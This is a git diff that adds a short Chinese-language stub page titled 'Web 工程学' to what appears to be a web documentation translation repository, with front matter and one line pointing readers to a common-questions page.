0000000000..0e8cdeb2ab --- /dev/null +++ b/files/zh-cn/learn/web_mechanics/index.html @@ -0,0 +1,9 @@ +--- +title: Web 工程学 +slug: learn/Web_Mechanics +tags: + - Web 工程学 + - 初学者 +translation_of: Learn/Common_questions +--- +<p>请访问 <a class="redirect" href="/zh-CN/docs/learn/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98">常见问题</a></p> |
